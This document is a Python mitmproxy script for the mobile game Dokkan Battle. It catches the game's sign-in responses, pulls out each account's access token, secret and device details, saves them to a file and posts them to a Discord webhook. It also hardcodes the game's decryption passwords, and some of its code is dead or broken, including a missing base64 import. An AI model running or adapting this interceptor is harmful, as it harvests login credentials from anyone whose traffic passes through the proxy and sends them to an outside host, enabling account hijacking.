Dokkan Auto Token to discord

from mitmproxy import http
from mitmproxy.proxy import ProxyConfig, ProxyServer
from mitmproxy.master import Master
from mitmproxy.options import Options
from mitmproxy import proxy, options
from mitmproxy.tools.dump import DumpMaster
from Cryptodome.Cipher import AES
from Cryptodome.Hash import MD5, SHA256
from Cryptodome.Hash.HMAC import HMAC
from Cryptodome.Protocol.KDF import PBKDF1
from Cryptodome.Util import Padding
from Cryptodome.Util.Padding import pad
import socket
import re
import urllib.request, json
import os
import requests
import os.path
from datetime import datetime
from mitmproxy.net.http.http1.assemble import *
WebHookURL = "https://discordapp.com/api/webhooks/------------------"
WebHookName =   "#21"
BLOCK_SIZE = 16  # Bytes
APP_PATH = os.path.dirname(os.path.realpath(__file__))
SaveLoc = APP_PATH+'/Temp/'
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE
        - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

def decrypt_sign(data, ver_global: bool):
    # print("---- Decrypt_sign - Begin")
    dec_data = {}
    if None != dec_data:
        dec_data = None
    SALT_LEN = 8
    KEY_LEN = 32
    IV_LEN = 16
    ITERATIONS = 1
    HASH_ALGO = MD5
    if ver_global == True:
        # print("------ Global - version - decrypt_sign")
        password = 'iyMgxvi240Smc5oPikQugi0luUp8aQjcxMPO27n7CyPIIDZbfQbEgpWCYNHSTHB'
    else:
        # print("------ Japan - version - decrypt_sign")
        password = '2nV6eyINqhT6iDmzack9fykEAQgFkDvABIHjxmMY3qBENWOlnGtzkOHXRWhrIztK'
    data = base64.b64decode(data)
    salt = data[:SALT_LEN]
    #print("sign_key_iv")
    sign_key_iv = sign_key_iv_buffer = HASH_ALGO.new(password.encode() + salt).digest()
    while len(sign_key_iv) < KEY_LEN + IV_LEN:
        #print("sign_key_iv_buffer")
        sign_key_iv_buffer = HASH_ALGO.new(sign_key_iv_buffer + password.encode() + salt).digest()
        sign_key_iv += sign_key_iv_buffer
    #print("sign_key")
    sign_key, sign_iv = sign_key_iv[:KEY_LEN], sign_key_iv[KEY_LEN:]
    #print("cipher")
    cipher = AES.new(sign_key, AES.MODE_CBC, sign_iv)
    #print("Padding.unpad (dec)")
    try:
        dec_data = Padding.unpad(cipher.decrypt(data[SALT_LEN:]), AES.block_size)
    except Exception as e:
        print(e)
    # print("---- Decrypt_sign - End")
    return json.loads(dec_data)
def get_key_and_iv(
    password,
    salt,
    klen=32,
    ilen=16,
    msgdgst='md5',
    ):
    mdf = getattr(__import__('hashlib', fromlist=[msgdgst]), msgdgst)
    password = password.encode('ascii', 'ignore')  # convert to ASCII
    try:
        maxlen = klen + ilen
        keyiv = mdf(password + salt).digest()
        tmp = [keyiv]
        while len(tmp) < maxlen:
            tmp.append(mdf(tmp[-1] + password + salt).digest())
            keyiv += tmp[-1]  # append the last byte
        key = keyiv[:klen]
        iv = keyiv[klen:klen + ilen]
        return (key, iv)
    except UnicodeDecodeError:
        return (None, None)
def find(key, dictionary): #used to print all value from desired key (work with nested)
    for k, v in dictionary.items():
        if k == key:
            yield v
        elif isinstance(v, dict):
            for result in find(key, v):
                yield result
        elif isinstance(v, list):
            for d in v:
                if isinstance(d, dict):
                    for result in find(key, d):
                        yield result
class Addon(object):
    def __init__(self):
        pass
    def request(self, flow: http.HTTPFlow) -> None:
        pass
    def response(self, flow: http.HTTPFlow) -> None:
        ShowAuth = re.search('.*\/auth/sign_in', flow.request.pretty_url)
        if None != ShowAuth:
            print('Authentification')
            PacketPath = APP_PATH;
            json_data_req = json.loads(flow.request.text)

            if os.path.exists(PacketPath+'/Token_'+flow.request.host+'.txt') :
                print('Deleted older Token file.')
                os.remove(PacketPath+'/Token_'+flow.request.host+'.txt')
            File_Token = open(PacketPath+'/Token_'+flow.request.host+'.txt',"w+")
            if flow.request.host == 'ishin-global.aktsk.com':
                GameVersion = "Global"
                FlagType = ":globe_with_meridians: :globe_with_meridians: :globe_with_meridians: :globe_with_meridians:"
            else:
                GameVersion = "Japan"
                FlagType = ":flag_jp: :flag_jp: :flag_jp: :flag_jp:"
            print('Server Version -: '+GameVersion)
            print('X-ClientVersion : '+flow.request.headers['X-ClientVersion'])
            print('device ---------: '+json_data_req["user_account"]["device"])
            print('device_model ---: '+json_data_req["user_account"]["device_model"])
            print('os_version -----: '+json_data_req["user_account"]["os_version"])
            json_data_res = json.loads(flow.response.text)
            print('access_token ---: '+json_data_res["access_token"])
            print('secret ---------: '+json_data_res["secret"])
            File_Token.write('Server Version -: '+GameVersion+'\nX-ClientVersion : '+flow.request.headers['X-ClientVersion']+'\ndevice ---------: '+json_data_req["user_account"]["device"]+'\ndevice_model ---: '+json_data_req["user_account"]["device_model"]+'\nos_version -----: '+json_data_req["user_account"]["os_version"]+'\naccess_token ---: '+json_data_res["access_token"]+'\nsecret ---------: '+json_data_res["secret"])
            File_Token.close()
            print('Saved Token to file')
            data = {
                "content" : FlagType+'```yaml\nServer Version -: '+GameVersion+'\nX-ClientVersion : '+flow.request.headers['X-ClientVersion']+'\ndevice ---------: '+json_data_req["user_account"]["device"]+'\ndevice_model ---: '+json_data_req["user_account"]["device_model"]+'\nos_version -----: '+json_data_req["user_account"]["os_version"]+'\naccess_token ---: '+json_data_res["access_token"]+'\nsecret ---------: '+json_data_res["secret"]+'\n```',
                "username" : WebHookName
            }

            result = requests.post(WebHookURL, json = data)
            try:
                result.raise_for_status()
            except requests.exceptions.HTTPError as err:
                print(err)
            else:
                print("Tokens Posted into discord !".format(result.status_code))
            pass

if __name__ == "__main__":

    options = Options(listen_port=8999, http2=True)
    m = DumpMaster(options, with_termlog=False, with_dumper=False)
    config = ProxyConfig(options)

    m.server = ProxyServer(config)
    m.addons.add(Addon())

    try:
        # Create a socket object
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        # connect to the server on local computer
        s.connect(("8.8.8.8", 80))
        print('Starting Dokkan Token Discord Bot over IP :', s.getsockname()[0], 'port : 8999')
        m.run()
    except KeyboardInterrupt:
        s.close()
        m.shutdown()